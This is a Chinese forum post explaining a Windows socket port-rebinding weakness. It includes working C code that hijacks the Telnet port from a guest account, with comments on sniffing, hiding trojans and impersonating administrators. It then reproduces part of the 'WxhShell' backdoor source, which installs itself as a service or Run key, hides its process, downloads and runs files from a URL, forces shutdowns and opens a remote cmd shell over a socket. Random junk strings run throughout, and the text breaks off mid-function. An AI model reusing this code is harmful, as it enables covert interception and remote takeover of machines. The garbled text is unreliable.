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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: jhcuK:`L s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); GsRt5?X/* a?\ `
saddr.sin_family = AF_INET; )Jz !Ut 0&o
WfTg saddr.sin_addr.s_addr = htonl(INADDR_ANY); o(nHB
g 9>zDJx bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 8"pA9Mr u
dUXc6U 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 T@>63 Q5T(nEA 这意味着什么?意味着可以进行如下的攻击: 'w`d$c/p ^B6`e^< 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 |>[X<>m Q^kMCrp 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) OMxxI 6h ~s0P FS7 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 v5gQ9 *U2Ck<"] 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 y(ldO;. e7wKjt2fy 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 6z`8cI+LRw '&{(:,!B 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
z8tt+AU !?Tzk&' 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 aEZJNWv p?KCVvx$ #include \ /sF:~= #include t>-XT|lV #include 2"_ 18l. #include ;p .j DWORD WINAPI ClientThread(LPVOID lpParam); Cb<~i int main() tl2Lq0 { 9`E-dr9 WORD wVersionRequested; q2D`1nT DWORD ret; ;?#i]Bh>S WSADATA wsaData; aeQ{_SK BOOL val; r6<ArX$Yl SOCKADDR_IN saddr; DvU~%%(0^ SOCKADDR_IN scaddr; dfXV1B5 int err; 2voNgY SOCKET s; Z^C!RSQ SOCKET sc; @D2`*C9 int caddsize; <,#rtVO$ HANDLE mt; -1#e^9Ve\ DWORD tid; yW'BrTw
wVersionRequested = MAKEWORD( 2, 2 ); Wa@6VY err = WSAStartup( wVersionRequested, &wsaData ); $t%" Tr if ( err != 0 ) { Z|f^nH#-C printf("error!WSAStartup failed!\n"); &AN%QhI return -1; ..]B9M. } c
'/2F0y saddr.sin_family = AF_INET; oF`-cyj"
8APTk //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Rf&^th}TH HL|0 d
} saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); N n:m+ZDo^ saddr.sin_port = htons(23); mT}Aje-L if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Pm'.,?" { sCuQB Z h printf("error!socket failed!\n"); ]q@rGD85K return -1; 7?)m(CFy } )bF)RLZ val = TRUE; if\k[O 1T6 //SO_REUSEADDR选项就是可以实现端口重绑定的 9?v) if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ^D0/H
N { p3i
qW,[@ printf("error!setsockopt failed!\n"); ;o&_:]S return -1; 6eVe}V4W } r(748Qc4f? //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; BZ8h*|uT" //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 7ZrJ#n8?ih //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Q2??Kp]1 <$Xn:B<H if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ?yda.<"g9Y { ,|=iv ret=GetLastError(); D}3cW2!9 printf("error!bind failed!\n"); wpJ^}+kF return -1; W\z L } 2-/YYe;C listen(s,2); }d$vcEI$3 while(1) Qq6%53 { a2IV!0x caddsize = sizeof(scaddr); t(Cq(.u`: //接受连接请求 \v B9fA:* sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); \["1N-q b if(sc!=INVALID_SOCKET) +/1P^U / {
3RG/X mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 1mkQ"E4 if(mt==NULL) hwG||;&/H { 6+5(.z-[ printf("Thread Creat Failed!\n"); V~tu<"% break; E9
:|8#b } xQcMQ{&; } b3jU~L$ CloseHandle(mt); ?3e!A9x } kY0g}o'< closesocket(s); AF07KA# WSACleanup(); S<)RVm,!e return 0; $]`'Mi } 6-Vl#Lyb DWORD WINAPI ClientThread(LPVOID lpParam) Ra*k { INeWi= 1 SOCKET ss = (SOCKET)lpParam; %u<&^8EL+# SOCKET sc; AX^3uRQJ unsigned char buf[4096]; U{.+*e18 SOCKADDR_IN saddr; 'R-JQE-] long num; ;FIMCJS DWORD val; FlM.D u DWORD ret; ?`BED6$`G9 //如果是隐藏端口应用的话,可以在此处加一些判断 &)/H?S;yN //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 3w6J V+? saddr.sin_family = AF_INET; `"1{Sx. saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); zS>:7eG saddr.sin_port = htons(23); xw/h~:NT if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) UeC%Wa<[ { P+D|_3j printf("error!socket failed!\n"); C'xU=OnA8 return -1; jn#N7%{Mk } G> 5=` val = 100; )PanJHtU if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8EVF<@{] { Vf\?^h(tP ret = GetLastError(); 6H . L!tUI return -1; Jh/M}%@| } KX=:)%+ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4jue_jsle { EIVQu~,H ret = GetLastError(); Q?I"J$]&L return -1; OM#OPB
rB } S|Ij q3 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) NUO,"Bqq { FcbA)7dD printf("error!socket connect failed!\n"); Cvu8X&y closesocket(sc); U3dR[* closesocket(ss); 8[{0X4y3 return -1; %i
JU)N! } S'H0nJ3 while(1) c Gaz$=/ { xN":2qy#T //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 'AlSq:gZ //如果是嗅探内容的话,可以再此处进行内容分析和记录 n!EH>'T //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 3:CQMZ|;@ num = recv(ss,buf,4096,0); f T+n-B if(num>0) Wy0a2Ve send(sc,buf,num,0); McMK|_H else if(num==0) _<' kzOj break; Aj)<8 num = recv(sc,buf,4096,0); }Rf:DmPE if(num>0) "Ee/q :` send(ss,buf,num,0); P*qNRP% else if(num==0) BIB>U W break; o^"d2= } WRU@i;l closesocket(ss); MjF.>4 closesocket(sc); R4J>M@-0v return 0 ; C">=2OO } =-B3vd:LF :4L5@>b- H:nu>pzt ========================================================== =B 4g EWR 9W,}AWf:Y 下边附上一个代码,,WXhSHELL ~IN$hKg^ yP=isi#dDY ========================================================== qytGs@p_ a\2Myj #include "stdafx.h" K5c7>I%k 5['B-
Iw #include <stdio.h> Xrzh*sp #include <string.h> <)*g7 #include <windows.h> Q`wA"mw6k #include <winsock2.h> C?c -V, #include <winsvc.h> p?gLW/n #include <urlmon.h> MBTt'6M Exo`Z`m`U #pragma comment (lib, "Ws2_32.lib") =[-- Hf #pragma comment (lib, "urlmon.lib") R`3>0LrC8 Wg;TXs/ #define MAX_USER 100 // 最大客户端连接数 $vicHuX! #define BUF_SOCK 200 // sock buffer jKi*3-& #define KEY_BUFF 255 // 输入 buffer N?<@o2{ Q24:G #define REBOOT 0 // 重启 (Vv[ #define SHUTDOWN 1 // 关机 }4ghT(C}$ qYrGe #define DEF_PORT 5000 // 监听端口 $T%<'=u|E zSM7x #define REG_LEN 16 // 注册表键长度 J'4@-IM #define SVC_LEN 80 // NT服务名长度 4R^j"x
5 YQ`#C#Wb // 从dll定义API m
?tnk?oX typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); hF PRC0ftE typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); KUqS(u typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )p_LkX( typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Z*Hxrw\!0 /gy:#-2Gy // wxhshell配置信息 _!g
NF= struct WSCFG { >wm$,%zk int ws_port; // 监听端口 u~T$F/]k> char ws_passstr[REG_LEN]; // 口令 H;!hp0y int ws_autoins; // 安装标记, 1=yes 0=no u2\qg;dP char ws_regname[REG_LEN]; // 注册表键名 Fea\ eB char ws_svcname[REG_LEN]; // 服务名 Jn[ K0GV char ws_svcdisp[SVC_LEN]; // 服务显示名 c\rbLr}l) char ws_svcdesc[SVC_LEN]; // 服务描述信息 5pyvs ;As char ws_passmsg[SVC_LEN]; // 密码输入提示信息
<cOE6;d# int ws_downexe; // 下载执行标记, 1=yes 0=no uV:uXQni`` char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 7[<sl35 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &,kB7r" 8ch~UBq/ }; `1v!sSR0R $YQ&\[pDA // default Wxhshell configuration KX}dn:;(3 struct WSCFG wscfg={DEF_PORT, ZV^J5wYE "xuhuanlingzhe", Fmle| 1, MifgRUe "Wxhshell", HNyDWD)_ "Wxhshell", c]0 "WxhShell Service", +rw3.d "Wrsky Windows CmdShell Service", `Qk
R "Please Input Your Password: ", l6U' 1, T S8E9#1a " http://www.wrsky.com/wxhshell.exe", (_5+`YsV "Wxhshell.exe" D&d:>.~u }; snNg:rTL !Jp.3,\?~ // 消息定义模块 #UN{
J6{ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2EcYO$R! char *msg_ws_prompt="\n\r? for help\n\r#>"; *TI6Z$b|6 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; e Em0c]]9 char *msg_ws_ext="\n\rExit."; hLD;U
J?S char *msg_ws_end="\n\rQuit."; r.5Js*VX! char *msg_ws_boot="\n\rReboot..."; R[-:-8 char *msg_ws_poff="\n\rShutdown..."; )Nd:PnA char *msg_ws_down="\n\rSave to "; \4X{\p< ? bg pUv char *msg_ws_err="\n\rErr!"; T.dO0$,Q@$ char *msg_ws_ok="\n\rOK!"; 0J-ux"kfI WbzL!zLd! char ExeFile[MAX_PATH]; s1apHwJ - int nUser = 0; ;-Dd\\)p HANDLE handles[MAX_USER]; S^n4aBm\+ int OsIsNt; Sf:lN4 +!Ag n) SERVICE_STATUS serviceStatus; J+|V[E<x SERVICE_STATUS_HANDLE hServiceStatusHandle; -dN;\x d~$t{46 // 函数声明 SLB iQd. int Install(void); OHvzK8 int Uninstall(void); ?0&>?-? int DownloadFile(char *sURL, SOCKET wsh); | N,nt@~ int Boot(int flag); kYa'
] m void HideProc(void); HliY int GetOsVer(void); xEWa<P#.u int Wxhshell(SOCKET wsl); /7)G"qG~F~ void TalkWithClient(void *cs); LtIZgOd< int CmdShell(SOCKET sock); m:7bynT{ int StartFromService(void); O5%F-}(: int StartWxhshell(LPSTR lpCmdLine); oh~Dbu=% ]F-6KeBc VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9'aR-tFun; VOID WINAPI NTServiceHandler( DWORD fdwControl ); }}2hI` En_8H[<% // 数据结构和表定义 Z|wDM^Lf SERVICE_TABLE_ENTRY DispatchTable[] = NVPYv#uK { y>18)8 {wscfg.ws_svcname, NTServiceMain}, (_<n0
{NULL, NULL} /qze }; .}>[Kr (ajX;/ // 自我安装 4Lb<#e13R? int Install(void) >R-$JrU.= { t!N>0]:mo char svExeFile[MAX_PATH]; \hc9Rk HKEY key; Wm_-T]#_ strcpy(svExeFile,ExeFile); ^i7a2<
z `Yve
// 如果是win9x系统,修改注册表设为自启动 4D$E if(!OsIsNt) { P=z':4,M} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y" |U$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [_Z3v,vt, RegCloseKey(key); <[~M|OL9q, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IrM3Uh RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gI{F"7fa= RegCloseKey(key); `-2`UGB- return 0; QKQy)g } akwVU\RP } PxY"{-iAM } z [{%.kA else { @@&;gWr; ^PszZ10T // 如果是NT以上系统,安装为系统服务 Hc !_o`[{l SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]7@Dqd-/S if (schSCManager!=0) )[.URp& { 8t; nU;E* SC_HANDLE schService = CreateService 9r}}m0 ( 5=e@yIr'# schSCManager, $]86w8?-N wscfg.ws_svcname, <C(2(3 wscfg.ws_svcdisp, ,)8Hl[y SERVICE_ALL_ACCESS, Hu.d^@V SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =!aV?kNS8 SERVICE_AUTO_START, o*VQH`G*|g SERVICE_ERROR_NORMAL, 4Qs#ws]) svExeFile, $dVjxo NULL, J)f?x T* NULL, =*N(8j>y NULL, <#i'3TUR NULL, @ZZ Lh= NULL sj2+|> ); p};<l@ if (schService!=0) W'yICt(#G { l-rI|0D# CloseServiceHandle(schService); |ESe=G CloseServiceHandle(schSCManager); (>'d`^kjk strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
6zSN?0c strcat(svExeFile,wscfg.ws_svcname); ZgtOy|?| if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { wu3ZSLY RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); B{<6&bQ RegCloseKey(key); 14O/R3+ return 0; ,P]{*uqGiB } u)ItML } 57rP@,vj CloseServiceHandle(schSCManager); Pc-HQU } C_o.d~xm } ektFk"W3A\ r\?*?sL return 1; iuRXeiG8 } UlR7_ 54-x 14") // 自我卸载 Gl(,%~F9i int Uninstall(void) ?g2K& { +=v|kd HKEY key; A2 rRYzN; v?J2cL if(!OsIsNt) { l!2.)F` x if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TDFv\y}yc RegDeleteValue(key,wscfg.ws_regname); 3/D fsv RegCloseKey(key); 7}MWmS^8j if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~ i,my31 RegDeleteValue(key,wscfg.ws_regname); &x}JC/u]fd RegCloseKey(key); TzjZGs W[V return 0; l1msXBC } Fwtwf{9I } ~Km8-b(& } Z2r\aZ-d` else { 6Z 7$ZQ~ b`'
;`*AN+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .
x$` i if (schSCManager!=0) Iq9+ { #i?TCO SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); p O.8>C% if (schService!=0) 1'iRx, { $J+$8pA if(DeleteService(schService)!=0) { mDhU wZH CloseServiceHandle(schService); ?k-IS5G CloseServiceHandle(schSCManager); =KMck=#B return 0; 3)sqAs( } 9;jfg|x1[ CloseServiceHandle(schService); UqH7e c } LcXrD+
1 CloseServiceHandle(schSCManager); $%<gp@Gz } H!N,PI?rn } afjC~} x!J L9 return 1; &,+ZNA`P } )+J?(&6 %rYt; 7B // 从指定url下载文件 Mg].# int DownloadFile(char *sURL, SOCKET wsh) iV%%VR8b
{ G:UdU{ HRESULT hr; K%;O$
> char seps[]= "/"; !zeBxR$&o char *token; ^^Y0 \3. char *file; IkupW|}rc char myURL[MAX_PATH]; x&sF_<[ char myFILE[MAX_PATH]; ({)_[dJ' q
/#O :Q strcpy(myURL,sURL); /dO&r'!: token=strtok(myURL,seps); M30_b8[Y_ while(token!=NULL) w
^A0l.{ { M9M EQK file=token; 3 Xy>kG} token=strtok(NULL,seps); @{j-B
IRZ0 } ?r/7: aw~OvnX E GetCurrentDirectory(MAX_PATH,myFILE); Z@>>ZS1Do strcat(myFILE, "\\"); U6{ RHS[ strcat(myFILE, file); IBR;q[Dj} send(wsh,myFILE,strlen(myFILE),0); kb>9;-%^JK send(wsh,"...",3,0); *op7:o_ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v / a/ if(hr==S_OK) |Q$C%7 return 0; )]>9\( else {^~{X$YI return 1; BD#4=u "l!"gc87 } r`5;G4UI 0 X@5W$x // 系统电源模块 F"LT\7yjyG int Boot(int flag) Wd[XQZ< { CNzK-,
HANDLE hToken; #SL/Jr
DZ TOKEN_PRIVILEGES tkp; #)XO,^s. Cnc77EUD if(OsIsNt) { zX3O_ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Skx TgX5 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); UZV)A} tkp.PrivilegeCount = 1; "?]5"lNC| tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8s|r' AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); a-7nA if(flag==REBOOT) {
^s%Qt if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) WvR}c return 0; "~GudK & } pt=[XhxC(> else { H`fkds if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :QN,T3i'/3 return 0; \4V'NTjB } GU!|J71z } am`eist: else { [QeKT8 if(flag==REBOOT) { "5{\0CfS if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4((Z8@iX/ return 0; 9~N7hLT } %e_WO,R else { -cG?lEh< if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) B3K%V|;z
) return 0; ]SK (cfA` } DK:d'zb } lk8VJ~2d YTY0N5[" return 1; IUzRE?Kzf } bBjVot `OduBUI]] // win9x进程隐藏模块 Y5K!DMKY void HideProc(void) ')_jK',1 { X]`\NNx 5^pQ=Sgt HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); eK]GyY/Y if ( hKernel != NULL ) Z$2mVRS`c { )M1.>?b pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); csYIC Lj ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); kD2MqR> FreeLibrary(hKernel); Yzd-1Jvk } >5 Ce/P'R h4sEH return; xU)~)eK } P||u{]vU brZ3T`p+.P // 获取操作系统版本 wp$SO^?- int GetOsVer(void) LM0TSB? { ucTkWqG OSVERSIONINFO winfo; -6#i~a] winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); WMrK8e' GetVersionEx(&winfo); T_pE 'U%[ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1298&C@ return 1; /K'Kx else F*}b), return 0; 3<B{-z } <;M 6s~ &u$l2hSS // 客户端句柄模块 |IZG`3 int Wxhshell(SOCKET wsl)
c,x2 { Y ||!V SOCKET wsh; xOP\ +( struct sockaddr_in client; tw^V?4[Miu DWORD myID; 5JQq?e)n cpf8f i while(nUser<MAX_USER) Z3 &8(vw { YAsvw\iseK int nSize=sizeof(client); )\p@E3Uxf wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
T<P4+#JK if(wsh==INVALID_SOCKET) return 1; _)lK.5 ,v(G2`Z handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); owQLAV if(handles[nUser]==0) 2Ask] closesocket(wsh); -0lpsF else <PXA`]x~ nUser++; g`\Vy4w } NeUpl./b WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %$Mvq&ZZ M,|o 2' return 0; SrU,-mA W } OpYq qBf_ @ -g^R4e< // 关闭 socket *j8w"
4 void CloseIt(SOCKET wsh) &:w{[H$- { !i{@B closesocket(wsh); nbhx2@Teqe nUser--; n0nkv[ ExitThread(0); 9NKZE?5P|D } HH8a"Hq) /TS>I8V! // 客户端请求句柄 bMf+/n void TalkWithClient(void *cs) R~)c(jj5 { lYU_uFOs\ RQv`D&u_ SOCKET wsh=(SOCKET)cs; ykM(`
1`m char pwd[SVC_LEN]; W>'R<IY4#N char cmd[KEY_BUFF]; s|YY i~ char chr[1]; -x5^>+Y4 int i,j; o"K{^ L~u @~/LsYA: while (nUser < MAX_USER) { *COr^7Kf5 QR<IHE{~8 if(wscfg.ws_passstr) { yP~D." if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #2|sS|0 < //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G`gYwgU; //ZeroMemory(pwd,KEY_BUFF); "0nto+v i=0; a!4'}gHR while(i<SVC_LEN) { SC"=M^E qDOx5.d // 设置超时 i7:j(W^I8 fd_set FdRead; no^I![_M struct timeval TimeOut; 9
bGN5.5 FD_ZERO(&FdRead); Va?wG3 w FD_SET(wsh,&FdRead); znX2W0V TimeOut.tv_sec=8; ;w[|IRa TimeOut.tv_usec=0; :@ 19,.L int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); '0z@Jevd? if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8M8=uw~# LR'F/.Dx if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5=5~GX-kr pwd =chr[0]; MhHygZT[} if(chr[0]==0xd || chr[0]==0xa) { wIL5-k, pwd=0; ^BSMlKyB break; b[VP"KZ ? } .,UpI|b i++; rEz=\yY^j' } W/xb[w9v X|@|ZRN // 如果是非法用户,关闭 socket &nTB^MF if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *_3+ DF } /k(0}g=\ y~Sh|2x8v send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .,<-lMC+ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;g7nG{ FG1$_zN | while(1) { a4O!q;tu7 PtwE[YDu ZeroMemory(cmd,KEY_BUFF); :W 8DgL>l 8iR%?5 >K // 自动支持客户端 telnet标准 w~X1Il7A j=0; sf@g $ while(j<KEY_BUFF) { @y{Whun~ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !~"q$T>@ cmd[j]=chr[0]; UvxJ _ if(chr[0]==0xa || chr[0]==0xd) { I4gyGg$H cmd[j]=0; YjoN:z`b break; Of SYOL7o } teQ%t~PJ-& j++; 66Huqo } R/A40i $yI!YX& // 下载文件 ?:~Y%4; if(strstr(cmd,"http://")) { }vPDCUZ send(wsh,msg_ws_down,strlen(msg_ws_down),0); d* 7 Tjs{\ if(DownloadFile(cmd,wsh)) C/tn0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); XM>ByfD{ else TBvv(_ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4Ts5*_ } 83Bp_K2\ else { e(,sFhR 9=K=gfZ switch(cmd[0]) { (]0ZxWF [#$z.BoEo // 帮助 y!)Z ^u case '?': { tA Pqbi$a send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); lpj$\WI= break; "#qyX[\ } Ks{^R`Oau // 安装 M~zdcVTbH case 'i': { 4JT9EKo if(Install()) K.dgQ-vn send(wsh,msg_ws_err,strlen(msg_ws_err),0); w<tr<Pu' else -{-w5_B$ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GNT1FR break; / F5g@ X& } Yhb=^)@)) // 卸载 YJ_LD6PL9 case 'r': { "fL:scq@0 if(Uninstall()) th2a'y=0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); }pTy mAN else *U)!9DvA send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Wx;:_F7'\ break; Yq $(Ex } vLXN{ ] // 显示 wxhshell 所在路径 `/Zi=.rr case 'p': { tz6d}$ char svExeFile[MAX_PATH]; x3MV"hm2 strcpy(svExeFile,"\n\r"); )R<hYd strcat(svExeFile,ExeFile); gV91=Pj send(wsh,svExeFile,strlen(svExeFile),0); >s1'I:8 break; bN8GRK ) } JD^(L~ n] // 重启 '@3hU|jO! case 'b': { wh<+.Zp send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R]0awV1b if(Boot(REBOOT)) 9axJ2J'g send(wsh,msg_ws_err,strlen(msg_ws_err),0); "nf.kj:> else { CVyqr_n65/ closesocket(wsh); YJ'h=!p}G ExitThread(0); Sdy\s5 } e #>wv]V break; 6NVf&;laQ } #e((F,1z // 关机 Mp:tcy,* case 'd': { weEmUw Z send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rLw,? if(Boot(SHUTDOWN)) x24 send(wsh,msg_ws_err,strlen(msg_ws_err),0); .>Gq/[c0| else { 5P,{h closesocket(wsh); l(-6pP5` ExitThread(0); .:B]
a7b } ?J<Y] break; c6:"5};_ } 8&7LF // 获取shell jV;&*4if case 's': { zZ3,e L CmdShell(wsh); <iajtq<Z closesocket(wsh); ek1YaE ExitThread(0); q.`+d[Q2 break; 4=9To|U* } Ix93/FAn // 退出 !?`5r)K case 'x': {
yS _,lS send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); D0Oh,Fe#M\ CloseIt(wsh); `7zz&f9dDX break; 6] <~0{ } Uvgv<OR`_ // 离开 .3l'&".' case 'q': { )2C_6eR send(wsh,msg_ws_end,strlen(msg_ws_end),0); <.s=)}'`P closesocket(wsh); OW<i"?0 WSACleanup(); k6_RJ8I exit(1); 7SE\(K=<% break; I83ZN] } #/Y t4n } AF g* } O4ciD1 ({ads_l // 提示信息 XO~xbG7>gZ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g Q%'2m+ } I2hX;pk, } "Sz pFw ()6)|A<^U return; GJ edW } ?vuM'UH- :?2+'+%' // shell模块句柄 n8DWA`[ib int CmdShell(SOCKET sock) !2s<
v { ^} P|L STARTUPINFO si; 2s_shY<=}L ZeroMemory(&si,sizeof(si)); dVmI.A'nbp si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _Il/ i& si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4h\MSTF* PROCESS_INFORMATION ProcessInfo; 3/+9# char cmdline[]="cmd"; zA=gDuy3@ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .|}ogTEf return 0; AmNmhcN } R,-y 9!zUv:; // 自身启动模式 =PWh,lWS int StartFromService(void) Z;M]^? { :j)H;@[I typedef struct S^?
@vj { jFf2( AR DWORD ExitStatus; ( >zXapb2 DWORD PebBaseAddress; qMD 6LWJ DWORD AffinityMask; .<}(J#vC DWORD BasePriority; z1XFc*5 ULONG UniqueProcessId; -} \g[| ULONG InheritedFromUniqueProcessId; C2NJrg4( } PROCESS_BASIC_INFORMATION; m/gl7+ p8o
~ PROCNTQSIP NtQueryInformationProcess; Sh( 3&.?9 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mE^mQ [Dk static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?W-J2tgss{ [0U!Y/?6lA HANDLE hProcess; y
